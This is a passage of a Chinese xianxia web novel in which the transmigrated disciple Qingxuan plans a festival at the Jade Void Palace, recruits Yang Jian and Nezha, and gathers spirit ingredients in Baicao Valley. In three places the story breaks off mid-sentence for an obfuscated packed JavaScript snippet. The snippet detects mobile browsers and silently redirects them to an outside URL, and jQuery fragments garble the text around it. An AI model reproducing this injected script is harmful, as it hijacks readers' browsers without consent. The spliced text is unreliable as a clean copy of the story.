那紫气初时只一线,转瞬间铺满天穹,浩浩荡荡,竟将昆仑山万年不散的祥云都染上一层淡紫辉光。紫气中隐现仙乐清音,非丝非竹,却直透神魂,整个玉虚宫瞬间肃然。
陈青停下动作,仰头望去。只见紫气最浓郁处,缓缓展开一道金色卷轴。卷轴无风自动,其上字迹每一个都大如斗,金光璀璨,蕴含无上道韵:
“奉道祖法旨,谕示三界:今洪荒承平,万物滋长。然天道贵生,亦贵趣。着令三界有识之士,于百年内,各显妙法,倡乐生之道,弘怡情之趣。届时紫霄宫将设‘万法妙会’,择其优者,录天道功德,以为三界表率。”
诏令念罢,金卷化作点点光雨洒落,融入山川万物。那紫气也渐渐淡去,只余空中隐隐回荡的余音。
陈青立在原地,心头震动。
倡乐生之道,弘怡情之趣……这说的,不正是他隐约摸索、却不敢明言的“趣之道”吗?
“紫霄诏令,三千年未曾降世了。”黄龙真人的声音自他身后响起。
不知何时,师尊已来到院中,同样仰望着紫气消散的天穹,面色凝重中带着一丝复杂。
“师尊,”陈青行礼,“这道诏令……”
“是机缘,也是变数。”黄龙真人收回目光,看向陈青,“天道之意,是要在三界掀起一番新风。你先前那些小巧思,倒是误打误撞,合了此诏精神。”
陈青心头一跳:“师尊的意思是……”
“玉虚宫自当响应道祖法旨。”黄龙真人道,“方才广成子师兄传讯,命各峰三代弟子中的佼佼者,两日后齐聚麒麟崖,共商此事,你也在列。”
“弟子遵命。”
“好生准备。”黄龙真人顿了顿,又道,“此非寻常论道,不必拘泥旧例。你那套气韵显化之术,或许……能派上大用场。”
这话说得含蓄,陈青却听懂了。
回到静室,他取出纸笔——是前些日子仿人间形制自制的竹纸炭笔。洪荒修士多用玉简神念,这般原始书写方式反倒罕见。但陈青习惯这般写画,思路更清晰。
纸面铺开,陈青凝神思索。
紫霄诏令的核心是“乐生之道,怡情之趣”。若以他前世的理解,这几乎就是“精神文明建设”的洪荒版。而响应诏令的“万法妙会”,则是一场覆盖三界的……文化盛会?
那么玉虚宫该如何参与?
继续论道讲经,那与往常无异,不够“趣”。
展示法宝神通,那是斗法,非“乐生”。
陈青的笔尖在纸上无意识划动,一个个念头浮现,又被否决。直到窗外传来明心的声音:
“青玄师弟,你可听说了?方才那紫气漫天,连后山灵兽园的仙鹤都惊得满山飞,好几只撞进了炼丹房的药圃,踩坏了好些‘七窍玲珑果’,管药圃的师兄正追着鹤满山跑呢!”
陈青手中炭笔一顿,仙鹤撞进药圃……追着跑……
他忽然想起前世动物园里的投喂互动,想起美食节上的趣味比赛,想起那些让人会心一笑的轻松场景。
笔尖落下,在纸上写下四个字:
“可观,可感,可乐,可回味。”
两日后,麒麟崖。
此次聚集的弟子不过二十余人,皆是各峰三代中的翘楚。主位上坐着的却是慈航道人。因广成子等人有要事商议,便请这位性情最温和的师妹来主持。
慈航道人依旧是那副温婉模样,开场便道:“今日之议,不必拘礼。道祖法旨已明,要的便是新意、妙趣。诸位师侄有何想法,尽管畅言。”
一时间,众弟子各抒己见。
有提议举办“三界法宝鉴赏大会”的,有主张开“丹道妙品品评宴”的,也有说可设“诸天星辰推演竞赛”的……皆是仙家传统艺能的变体,虽不乏巧思,却总让人觉得少了些“趣”的灵魂。
陈青静坐聆听,待众人说得差不多了,才起身行礼。
“弟子有一浅见。”
慈航道人微笑颔首:“青玄师侄请讲。”
“方才诸位师兄师姐所言,皆是从‘修’与‘法’着眼。”陈青道,“然道祖诏令中,‘乐生’在前,‘怡情’在后。弟子以为,此次响应,或可从‘生’与‘情’入手。”
“哦?具体如何?”慈航道人来了兴致。
陈青取出一卷竹纸,在身前展开。纸上以炭笔勾勒了数幅简图,并附文字说明,这正是他这两日所思。
第一幅图,画的是几处错落有致的展台,台上不是法宝丹药,而是形态各异的灵植、奇石、异兽幼崽。旁注:“万物有灵——三界奇物亲见会。可观其形,感其息,知天地造化之妙。”
第二幅图,是数位仙人围坐,中间一炉炭火,架上烤着某种灵菇仙芝,香气似要透纸而出。旁注:“烟火清欢——仙家百味品鉴集。可亲手炙烤,品天然之味,悟调和之道。”
第三幅图最为奇特:一处水镜前,几位仙人正对着镜中自身影像,调整衣冠仪态,镜旁还有标注“气韵显化辅助,观己身道韵流转”。旁注:“镜照本真——气韵仪容自观处。可乐在其中,见己身另一面,亦是一种修行。”
最后一幅图,是一片留白,只写一行字:“万法归趣,自在由心——留与参会者自行创造之余地。”
四幅图,四个板块。
慈航道人仔细看过,眼中渐渐泛起异彩。
“万物有灵,烟火清欢,镜照本真,自在由心……”她轻声重复,“青玄师侄,你这四般设想,倒是将‘可观、可感、可乐、可回味’都占全了。”
陈青躬身:“弟子拙见,恐有不妥之处。”
“不妥?”慈航道人轻笑,“我看妥得很。尤其是这‘烟火清欢’。众仙家辟谷久矣,纵有琼浆玉液,也多是为了修行。你这‘品鉴’之说,将饮食与怡情、悟道结合,倒是新鲜。”
她将图纸传与众人观看,弟子们起初还有些不以为然,细看之后,却纷纷露出思索之色。
“让参会者亲手炙烤灵菇?这……成何体统?”一位弟子皱眉。
“为何不成体统?”另一人反驳,“道祖要的是‘趣’,亲手为之,感受火候变化、食材生熟,岂非一种‘格物致知’?”
又有一人异议:“那镜照本真呢?对着水镜整理仪容,岂不似凡间女子对镜梳妆?”
“此言差矣。观己身道韵流转,检视修行不足,正是‘以镜为鉴,可正衣冠,可明得失’。”另一人反驳道。
议论声渐起,气氛反倒比之前更热烈。
慈航道人含笑听着,待众人讨论稍歇,才道:“看来诸位师侄对此颇有兴致。既如此,我便将青玄师侄此议,呈与广成子师兄定夺。”
她看向陈青,温声道:“师侄这几日,可再多思量细节。若此事真能成行,其中许多环节,还需你那气韵显化之术支撑。”
陈青颔首:“弟子明白。”
散会后,陈青随众人离开麒麟崖。刚驾云升起,忽听身后有人唤他:
“青玄师弟留步。”
回头看去,却是一位面生的师兄,身着月白道袍,气质清雅。
“师兄是……”
“贫道玉鼎真人座下,杨戬。”来人微笑,“方才师弟所呈图卷,颇有意趣。那‘镜照本真’一栏,提及‘气韵显化辅助’,不知具体如何施行?”
杨戬?
这可是杨戬啊!二郎神啊!
陈青忍不住多看了几眼,这才淡声回复:“回杨师兄,我设想的是以水镜术为基础,嵌入气韵显真之术。如此,照镜者不仅可见形容,亦能观自身气韵流转的实时景象。若有阻滞不妥之处,一目了然。”
“实时观照……”杨戬若有所思,“那对施术者心神损耗恐是不小。”
“是。所以弟子设想,可炼制一批特制‘观气镜’,将术法预先封存其中。虽效果不如亲身施术灵动,却胜在可持久使用,惠及众人。”
杨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294941|198557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
戬眼中闪过赞许:“师弟思虑周全。此事若成,我或可荐一人,于炼制法器上助你一臂之力。”
“多谢师兄!”陈青眼神发亮,二郎神果然仁义,这个朋友他交定了!
“不必客气。”杨戬驾云离去前,忽又回头道,“对了,方才在殿中未及说。你那‘烟火清欢’之议,家师玉鼎真人听我说起,倒是有句话让我转达。”
“真人请讲。”
“他说,‘若真设此宴,我那徒儿哪吒怕是要头一个报名。那孩子,最是爱热闹,也最是馋嘴’。”
陈青一愣,随即失笑。
原来那位三坛海会大神,此时还是这般性情。
回到听松轩,陈青将今日之事禀明黄龙真人。
黄龙真人听罢,沉默良久,方道:“慈航师妹既已应允呈报,此事便有五分可能。你且按她所言,细思各个环节。尤其是那气韵显化与法器结合之法,需有可行之策。”
“弟子正有此意。”陈青道,“只是炼制法器涉及炼器之道,弟子于此一窍不通……”
“炼器之事,可请教玉鼎师兄一脉。”黄龙真人道,“至于其他……你且放手去做。此事既合道祖法旨,便是玉虚宫大事,所需人力物力,自有宫中断决。”
这话便是鼎力支持了。
陈青心中一定,行礼告退。
是夜,月明星稀。
陈青在静室中摊开新纸,开始细化四大板块的实施方案。炭笔在纸上沙沙作响,一个个念头流淌而出:万物有灵展区如何布置才不显杂乱,烟火清欢的食材该如何选取、处理才能兼具美味与灵韵,观气镜的炼制该融入哪些符文……
正写到关键处,窗外忽然传来一声极轻的猫叫。
陈青本不想理会,可那猫见他不理会,竟是又一连叫了好几声,一声比一声大。
陈青不想扰民,只好推窗望去,只见月下松枝上,蹲着一只通体雪白的狸猫。那猫儿额间金纹在月光下泛着淡淡流光,琉璃般的眸子正静静看着他。
是孔宣的那只灵宠。
白猫轻盈跃下,落在窗台,歪头打量桌上铺开的图纸。
“你在画什么?”它口吐人,声似幼童,天真灵动。
“一些……设想。”陈青不知该如何解释。
白猫跳上桌案,爪子扒拉着图纸,一页页翻看。看到“烟火清欢”那页时,它鼻子动了动,仿佛能闻到画中香气。
“这个好。”白猫点评,“比那些干巴巴的论道有趣多了。”
陈青失笑:“你也懂这个?”
“怎么不懂?”白猫抬头,琉璃眼里满是被小瞧的不满,“我跟真君去过好多地方,见过人间市集热闹,也尝过四海珍馐。那些仙人办的宴会,除了摆架子就是论修为,无聊死了。”
这话说得直白,陈青莞尔一笑,“那依你看,我这‘烟火清欢’,该如何办才不算‘摆架子’?”
白猫蹲坐下来,尾巴轻轻摆动,竟真的认真思考起来。
“首先,不能只让看,得让动手。”它道,“我看你画了炙烤灵菇,这主意不错。但光烤菇不够,得有些花样。比如……串成串儿,刷点灵蜜,撒些星辰砂磨的粉,烤出来亮晶晶的,又好看又好吃。”
白猫说着,眼里不自觉地泛起憧憬,连声音都激动不少。
陈青眼睛一亮,提笔记下,妄他自现世穿越而来,关键时刻竟要一只猫提点,惭愧惭愧。
“还有,不能只吃。”白猫继续道,“得来点游戏,比如猜灵果里有多少籽儿,猜中的送一小瓶晨露。或者蒙眼闻香,猜是什么仙草。”
它越说越起劲,陈青笔下如飞。
说到最后,白猫忽然想起什么:“对了,你们玉虚宫不是有片‘醉仙桃林’吗?桃子熟了的时候,摘来酿点桃子酒,宴会上给大家浅尝一杯,保管都说好。”
陈青停下笔,看着眼前这只口若悬河的白猫,忽然觉得这猫恐怕也是个行家,若在现代绝对要吸不少粉丝。
“多谢指点。”陈青诚心道。
“客气什么。”白猫跳回窗台,“我就是路过,闻到你这里有好闻的味道,顺道来看看,走了。”
说罢,它纵身一跃,消失在月色中。
陈青望着它消失的方向,忽然想起一事——
这白猫说了这么多,句句在理,显然是见多识广。可它一只灵宠,怎会懂得这些?
他可不信白猫的说辞,多半是孔宣真君教他的。
陈青低头,看向纸上那些被白猫“指点”过的细节,嘴角不自觉扬起一个弧度。
好像,找到同道中人了。
窗外,夜风拂过松林,涛声阵阵。
昆仑山的月,静静照着这一窗灯火,也照着纸上那些即将改变三界风气的奇思妙想。
7. 筹备
紫霄诏令之事,在玉虚宫内很快便有了决断。
几日后,广成子真人亲至听松轩,与黄龙真人在正厅闭门商议了半个时辰。待广成子离去,黄龙真人将陈青唤到跟前。
“你的方略,广成子师兄已经准了。”黄龙真人开门见山,“此事便由你总领,玉虚宫三代弟子皆可调遣,所需物资可向宫务堂申领。百年后万法妙会,玉虚宫能否崭露头角,便看此次筹办的成败。”
陈青心头一凛,躬身应道:“弟子定当竭尽全力。”
“不必过分紧张。”黄龙真人语气稍缓,“此事虽重,却也是难得的历练。你且放手去做,若有难处,为师自会为你周旋。”
得了师命,陈青便着手准备。
他做的第一件事,便是拟定了一份详细的筹备纲要。纲要分为三大部分:组织架构、板块细化、进度规划。
组织架构上,他设立了四大主事,分管“万物有灵”、“烟火清欢”、“镜照本真”、“自在由心”四大板块,每板块下设若干执事弟子。而主事人选,他心中已有计较。
板块细化部分,他罗列了每个板块需要解决的具体问题。比如“万物有灵”展区需要收集哪些奇物、如何布置,“烟火清欢”需要确定菜式、准备食材器具,“镜照本真”需研制观气镜,设计体验流程等。
进度规划则分了四个阶段:筹备期(三十年)、试行期(二十年)、调整期(二十年)、完善期(三十年)。百年光阴看似漫长,但对仙家而言,不过弹指。
纲要拟罢,陈青又写了一份召集文书,请黄龙真人以玉符传讯各峰。文书言辞恳切,既点明此事乃响应道祖法旨,又言明参与筹备亦是修行历练,末了还附了纲要摘要。
三日后,听松轩正厅。
主位空置,陈青则立在厅中主位侧旁。黄龙真人说此事既由他总领,他便该当此位,但陈青执意不肯,只肯侍立。
厅内陆续来了二十余位弟子,皆是各峰推举而来的三代精锐。明心也在其中,到位后冲陈青眨了眨眼,陈青回之一笑,算是打了招呼。
待人到齐,陈青清了清嗓子,开口第一句便让众人一怔:
“今日请诸位师兄师姐前来,不是论道,不是听讲,是议事。”
他将手中纲要副本以法术复现于半空,字迹清晰可见。
“此乃筹备纲要。诸位请看第一部分——组织架构。”
众人抬头细看,只见纲要上书“需四大主事,其下各有执事名额若干”。
“今日之会,首要便是定下四位主事人选。”陈青目光扫过众人,“主事者,需有担当,善协调,对所辖板块有独到见解。若有自荐或举荐者,可上前陈述。”
厅内静了片刻,一位身着水蓝道袍的女弟子率先起身:“贫道碧云,修水行法,平素喜观草木鱼虫之趣。愿领‘万物有灵’主事之责。”
陈青记得她,是慈航道人座下弟子,性情沉静,观察入微。
“碧云师姐有此心意,再好不过。”他点头,“稍后请师姐详述展区设想。”
接着起身的是一位身形微胖、满面红光的弟子:“贫道火灵子,专修火行,尤擅控火炼丹之道。对‘烟火清欢’一板块颇有兴致,愿为尝试。”
这位陈青也认得,是太乙真人座下,据说炼丹手艺在玉虚宫三代弟子中可排前三。
“火灵师兄若能主理此块,自是稳妥。”陈青道,“只是此板块不仅关乎‘食’,更关乎‘趣’,师兄可有妙思?”
火灵子哈哈一笑:“师弟放心,贫道虽好炼丹,却也不是那等只知守着丹炉的呆子。人间烟火、仙家趣味,自当兼顾。”
第三位起身的,却是杨戬。
“镜照本真一栏,涉及法器炼制与气韵显化之术结合。”杨戬语气平静,“贫道于此道略通一二,愿担此责。此外,我可举荐一人为副——乾元山金光洞的哪吒师弟,于炼器一道亦有钻研。”
哪吒?
陈青心中激动,没想到二郎真君要举荐的居然是哪吒:“杨师兄愿担此任,自是极好。只是哪吒师兄那边……”
“我已传讯与他。”杨戬道,“他说此事有趣,愿来相助。”
“如此便好。”陈青颔首。
最后一位主事,却是迟迟无人应声。
“自在由心”一栏最为特殊,要求的是留白与引导,既不能管得太死,又不能放任自流。需得是位心思灵动、又能把握分寸之人。
正当众人面面相觑时,厅外忽然传来一个清朗声音:
“这第四位主事,贫道可否一试?”
一道身影踏云而入,落在厅中。来人看去年岁与陈青相仿,面容俊秀,眉眼间带着几分跳脱神采,一身红衣似火,腰间缠着一条赤色长绦。
陈青还未开口,杨戬已道:“哪吒师弟,你来得正好。”
原来这便是哪吒。
陈青行礼:“哪吒师兄愿担此任,自是求之不得。只是杨师兄方才说,请师兄协理‘镜照本真’一栏……”
“不妨事。”哪吒摆手,笑容灿烂,“镜照本真那边我帮着打打下手便是。这‘自在由心’一栏,听起来最是有趣,正合我性子。”
陈青略一沉吟,看向杨戬。杨戬微微点头,示意可行。
“既如此,便有劳哪吒师兄了。”
四位主事既定,陈青便开始分派具体事务。
“碧云师姐,烦请你于三月内,拟一份‘万物有灵’展品名录。名录需注明每件展品来源、特性、展示要点。若有难寻之物,可报与我,我会设法协调。”
碧云颔首:“明白。”
“火灵师兄,‘烟火清欢’一栏,首要便是定下菜式。请师兄于两月内,先拟出十道主打菜品的方案,需兼顾美味、灵韵与趣味。所需食材、器具清单一并列出。”
火灵子拍胸脯:“包在贫道身上。”
“杨师兄、哪吒师兄,观气镜的研制乃是重中之重。请两位师兄先做前期推演,确定炼制思路与所需材料。一月后,我们需有初步方案。”
杨戬应下,哪吒则笑道:“放心,此事交给我与杨师兄,保管办得妥帖。”
分派完毕,陈青又道:“此外,还需设立总务、外联、监察三职。总务负责物资调配、人员协调,外联负责与其他仙府、部洲沟通,监察负责进度督办、质量查验。这三职,便由明心师兄、以及另两位自荐的师兄师姐担任,如何?”
明心起身应了,另有两位弟子也出列领命。
一场筹备会,开了足足三个时辰。待诸事议定,众人散去时,已是暮色四合。
陈青留在厅中,将今日所议逐条记录。正写着,忽觉窗外有人。
抬眼看去,却是哪吒去而复返,正趴在窗台上,笑嘻嘻看着他。
“青玄师弟,忙完了?”
“哪吒师兄还有事?”陈青放下笔。
“也没什么事。”哪吒跳进厅中,四下打量,“就是觉得你这办事的法子,挺新鲜。条条款款,清清楚楚,比那些只会说‘尔等好生办事’的强多了。”
陈青失笑:“不过是些笨办法。”
“笨办法才实在。”哪吒在陈青对面坐下,忽然压低声音,“哎,师弟,你那‘烟火清欢’的菜式,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294942|198557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
火灵子一个人怕是想不全。要不要我帮你引荐几位懂行的?”
陈青心中一动,有人帮忙自是再好不过:“师兄指的是?”
“天庭御膳房有位仙厨,叫灶升,手艺极好,就是性子有点怪。”哪吒道,“还有东海龙宫有位龟丞相,活了十几万年,尝遍四海珍馐,最会品鉴。若得他们指点,你这‘仙家百味’才算名副其实。”
这提议正中陈青下怀,他正愁火灵子虽擅炼丹,却未必通晓真正的“美食之道”。
“那便有劳师兄引荐了。”陈青拱手行礼。
“好说好说。”哪吒扶了他一把,爽快应下,又道,“不过师弟,你这摊子铺得可不小。百年光阴,要做出让道祖都认可的‘妙趣’,压力不小吧?”
陈青默然片刻,点头:“确实。”
“放宽心。”哪吒拍拍他肩膀,“此事虽重,却也是难得的乐事。我师父太乙真人说了,修行修行,修的是心,行的是道。你这般以‘趣’入道,若能成,说不定能走出一条新路来。”
这话说得恳切,陈青心中微暖:“多谢师兄开解。”
“客气什么。”哪吒起身,“走了,我还得去帮杨戬琢磨那观气镜呢。”
送走哪吒,陈青回到静室。
桌上摊开的纲要旁,又多了一叠今日的会议纪要。他逐条审阅,查漏补缺。
“万物有灵”展品名录需尽快收集,“烟火清欢”菜式需多方借鉴,“镜照本真”法器炼制是技术难关,“自在由心”的留白尺度最难把握……
一桩桩,一件件,都是需要解决的难题。
正思索间,窗外又传来猫叫。
这一次,陈青头也不抬:“窗没关,自己进来。”
白影一闪,那只雪白狸猫跃上桌案,蹲在纲要旁边。
“你倒是忙。”白猫歪头看他。
“有事?”陈青继续写着。
“真君让我带句话。”白猫道,“他说,若你在食材上遇到难处,可去南瞻部洲的‘百草谷’看看。那里是上古药神遗泽,奇花异果无数,且多有可食用的灵植。”
陈青笔尖一顿。
这消息来得正是时候,“替我谢过真君。”他道。
“还有呢。”白猫又道,“真君还说,你那‘镜照本真’的观气镜,若想在炼制时融入气韵显化之术,可尝试用‘映心石’做镜胚。此石产于北俱芦洲极光之下,最能映照本真。”
陈青彻底放下笔,看向白猫。
“真君……怎知我在研制观气镜?”
白猫琉璃眼里闪过一丝狡黠:“你这两日与杨戬、哪吒商议此事,动静可不小,真君在天庭都听说了。”
陈青默然。也对,三界之内难藏事,玉虚宫这般大张旗鼓筹备,消息传开并不奇怪。
“替我多谢真君指点。”他郑重道。
“话带到了,我走了。”白猫跳下桌,走到窗边又回头,“对了,你那‘烟火清欢’的菜式,若是拿不准,真君说……他可以帮忙品鉴。”
说完,也不等陈青回应,便跃入夜色中。
陈青立在窗前,望着茫茫夜色,良久,嘴角微扬。
这位孔宣真君,看似清冷疏离,实则……心细如发呢。
而且,似乎对“吃”很有研究?
他回到桌前,提笔在“烟火清欢”的备注栏里,添上一行小字:
“拟请孔宣真君为特邀品鉴顾问。”
窗外,昆仑山的夜静悄悄的。
百年之期,序幕已启。
而这洪荒三界的“趣”之道,便要从这玉虚宫中,悄然萌芽了。
8. 找食材
玉虚宫的筹备事宜,如一架缓缓启动的精密仪器,在陈青的调度下有条不紊地运转开来。
碧云领了“万物有灵”主事之职后,次日便拟出一份详尽的差遣名录,将座下几位善于豢养、辨识灵物的师弟师妹分派往三界各处。
有人去东海采集珊瑚玉髓,有人赴北冥记录玄冰晶花的生长韵律,更有一位胆大的师妹,竟持着慈航道人的信物,往西昆仑瑶池求取一截蟠桃母枝的气韵标本。
火灵子则一头扎进了听松轩临时辟出的“膳研斋”。这地方原是一处闲置丹房,如今被火灵子改造得烟火气十足。
中央立着一尊改良过的三昧真火炉,火力可分九档调控,四周案台上摆满瓶瓶罐罐,里面分门别类装着昆仑山特有的灵菇、仙芝、玉藕、冰莲,墙上还挂着一幅火灵子自绘的“仙家食材五味调和图”,旁边用小字标注着各类食材的五行属性和相生相克之理。
杨戬与哪吒则在玉泉山金霞洞辟了间炼器工坊,整日叮当作响。杨戬性子沉稳,负责推演观气镜的核心符文阵列,哪吒跳脱灵动,专攻法器外形设计与用户体验。按他的话说:“镜子不光要能用,还得好看,照起来心情才好。”
陈青总揽全局,每日晨起便要处理三件事:审阅各板块进度文书,协调紧缺物资,解决突发难题。
这日他刚批完碧云报上来的“展品安全防护阵法”预算申请,明心便匆匆进来:“青玄师弟,火灵师兄那边……出了点状况。”
陈青:“何事?”
明心表情有些古怪:“火灵师兄试制第三道菜烈焰熔岩糕时,控火稍有不慎,把膳研斋的屋顶……烧了个洞,眼下正悬在半空补瓦呢。”
陈青揉了揉眉心:“人没事吧?”
“人倒没事,就是熏得一脸黑灰。”明心忍笑道,“火灵师兄说,那熔岩糕内里流心的火候极难掌握,差一分则凝,过一分则焦,他已失败了十七次。”
“告诉他不必急于求成。”陈青道,“晚些我过去看看。”
午后,陈青处理完与东海龙宫敲定了“海味专供”的合作意向后,又婉拒了南瞻部洲某妖王想塞些“特色表演”进来的提议,这才得空往膳研斋去。
还未走近,便闻到一股焦糊混杂着奇异甜香的味道,陈青没忍住皱了皱鼻子。
膳研斋外,火灵子果然悬在半空,正指挥两个道童搬运琉璃瓦。见陈青来,他赶忙落下,脸上黑灰尚未擦净,却笑得爽朗:
“师弟来了?正好,我刚调了一版新配方,你尝尝!”
陈青被他拉进斋内,只见中央玉案上摆着七八碟模样各异的糕点,有的焦黑如炭,有的塌陷不成形,唯有一碟还算完整。
那糕体通体赤红,表层有金色纹路如岩浆流淌,正中一点琥珀色的“熔心”微微颤动。
“这是第十八版。”火灵子献宝似的递过玉筷,“我用的是地心火枣的果肉为主料,混合星辰砂磨的粉增加亮泽,又以千年石乳调和。你尝尝这流心——”
陈青夹起一块,小心咬下。糕体外皮微脆,内里绵软,那琥珀色熔心入口即化,一股温润炽烈的暖流顺喉而下,随即化作精纯火灵之气散入四肢百骸。更妙的是,熔心流动的刹那,竟能在脑海中勾勒出一幅微型的“地火喷涌”意象,虽只一瞬,却让人印象深刻。
“如何?”火灵子紧张地盯着他。
“火灵之气精纯,意象呈现也巧。”陈青细细品味,“只是……甜度稍过,压住了地火枣特有的微酸果香。且熔心流动太快,少了些岩浆缓缓流淌的厚重感。”
火灵子一拍大腿:“是啊!我也觉着甜了!可若减了蜜魄晶糖的用量,糕体又容易散……”
“或许可以换个思路。”陈青沉吟,“不必全靠糖来凝聚,试试加入少许玄冰粉,冰火相激,既能稳住形态,又能形成口感层次。至于甜味,不如用醉仙桃自然发酵的果浆替代部分糖晶,取其天然果甜与酒香。”
火灵子眼睛一亮:“妙!我这就试!”
“还有,”陈青补充,“既然叫‘烈焰熔岩糕’,不妨在‘烈焰’二字上也做文章。上桌时,可否搭配一小盏冷泉凝露?食客先饮一口凝露清口,再品熔岩糕,冷热交替,滋味更显。”
“好好好!”火灵子兴奋得搓手,“师弟果真是个懂行的!我这就重调配方!”
看着火灵子风风火火重新开炉,陈青微微一笑,退出膳研斋。
他知道,真正的“仙家百味”,光靠玉虚宫自家的积累远远不够。哪吒引荐的灶升仙厨与龟丞相固然重要,但此事多半还需要他亲自走一趟。
十日后,陈青将手头事务暂交明心代理,向黄龙真人禀明后,独自驾云往南瞻部洲去了。
百草谷位于南瞻部洲西南腹地,是一处被上古禁制笼罩的秘境。若非孔宣给了具体的空间坐标与通行口诀,陈青纵是路过千遍,也寻不到入口。
陈青按口诀催动法力后,眼前虚空泛起涟漪,一道仅容一人通过的翠绿光门悄然浮现。他踏入其中,眼前豁然开朗。
这是一片被群山环抱的幽深山谷,谷中灵气浓郁到几乎化为实质的淡青色薄雾。雾气中,无数奇花异草舒展枝叶。有草叶片如翡翠雕成,脉络中流淌着金色光液,有花形似铃铛,随风轻摇时发出悦耳清音,更有藤蔓缠绕古木,垂下串串灯笼状的朱红果实,散发出诱人甜香。
陈青深吸一口气,只觉得浑身毛孔都舒张开,混沌本源自发运转,贪婪地吸收着谷中纯净的草木灵机。
他沿着小径深入,边走边看。一株通体冰蓝的寒烟草引起他的注意。此草叶缘有细密冰晶,触手冰凉,却散发着提神醒脑的清香,有点像薄荷。
他小心采下一片,以玉盒封存,心想或许可作清凉饮品的配料。
再往前,一片开阔地上长着大片伞盖呈七彩之色的蘑菇。陈青认得,这是虹光菇,白日吸收日光,夜间会发出柔和彩光。
他曾在一卷古籍中见过记载,说此菇肉质肥嫩,以文火慢炖,能幻化出七种不同滋味,一道菜可品七味,故又名“七窍玲珑菇”。
他正想采摘几朵,忽闻不远处传来簌簌声响。
陈青警觉望去,却见一丛金丝垂柳后,转出一只通体雪白的异兽。那兽形似小鹿,却生着一对琉璃般的晶莹鹿角,角上缠绕着淡淡金芒。它歪头看着陈青,眼神清澈好奇,竟不怕人。
“你是……”陈青话音未落,那白鹿忽然低头,从草丛中衔出一枚拳头大小、通体莹白的果子,轻轻放在他脚边。
陈青弯腰捡起,果子入手温润如玉,散发着一股难以形容的复合果香,似桃似杏,又带着些许蜜香与酒意。
“给我的?”陈青试探问道。
白鹿点了点头,又用鼻子拱了拱果子,示意他尝尝。
陈青小心掰开果皮,内里果肉晶莹如冻,汁水丰盈。他取了一小块放入口中,刹那间,仿佛有百花在舌尖次第绽放,清甜、微酸、淡雅、醇厚……数种滋味层层递进,最后化作一股温润灵流,滋养神魂。
“好果子!”陈青赞叹,“世上竟有如此美味!”
白鹿似乎听懂了他的夸赞,欢快地原地踏了几步,又转身示意陈青跟上。
陈青随它穿过一片密林,眼前出现一座以青藤与古木自然搭建的简易棚屋。屋前有石桌石凳,桌上竟摆着一套粗陶茶具,壶中还冒着热气。
白鹿跑到屋前,轻轻叫了一声。
不出几息,藤帘便掀起,一位身着葛衣、白发苍苍的老者拄着木杖走了出来。老者面容清癯,眼神却明亮如少年,见到陈青,他微微一笑:
“小友便是玉虚宫的青玄吧?孔宣真君已传讯于我,说近日会有位有趣的小猫妖来访。”
陈青连忙行礼:“晚辈青玄,见过前辈。冒昧打扰,还请见谅。”
“无妨无妨。”老者摆手,在石凳上坐下,“老朽是这百草谷的守谷人,道号‘木翁’。真君说你在筹办什么‘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294943|198557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烟火清欢’,需要些新奇食材?坐下说,顺便尝尝老朽自制的百草茶。”
陈青依言坐下,木翁斟了茶,茶汤碧绿,香气清幽,入口有种草木生灵特有的鲜活气韵。
“听真君说,你想找些‘可食用、有趣味、有灵韵’的食材?”木翁慢悠悠道,“这百草谷中,这样的东西倒是不少。方才白灵儿赠你的百味玲珑果,便是其一。此果三十年一熟,一果可尝百味,最适合做宴席的开胃小点。”
“确是如此。”陈青取出玉盒中的寒烟草与虹光菇,“晚辈还采了这些,不知可否入馔?”
木翁看了一眼,点头:“寒烟草可制冰魄饮,夏日消暑最佳。虹光菇嘛……你可知它最妙的吃法?”
陈青摇头,“请前辈指点。”
“此菇白日吸光,夜间放光。”木翁笑道,“若在傍晚采摘,以月光冷泉浸泡一夜,次日取出,菇体内便会凝出一层月华凝露。以此为汤底,涮烫其他鲜蔬,汤色会随食材变化而流转七彩,名曰‘虹影烫锅’,最是有趣。”
陈青了然,这不就是菌菇汤底的火锅嘛,这他熟啊!
木翁又带他在谷中转了转,指点了十余种特殊灵植的食用之法。有金铃花可酿蜜,酿出的蜜震动时有铃音清响,有地龙参肉质肥厚,慢火烤制后外脆里嫩,且食后会有地气滋养的暖意自足底升起,还有梦蝶兰,花瓣可制茶,饮后能助人安神,且梦中会见彩蝶翩跹……
待日头西斜,陈青的储物囊中已装满了各类灵植样本与种子,脑中更记下了数十种新奇菜式的构思。
临别时,木翁送他到谷口,忽然道:“小友,你那‘烟火清欢’的立意甚好。仙家修行久了,往往忘了口腹之欲亦是天赐之乐。你能以此入手,倡‘乐生’之道,实属难得。”
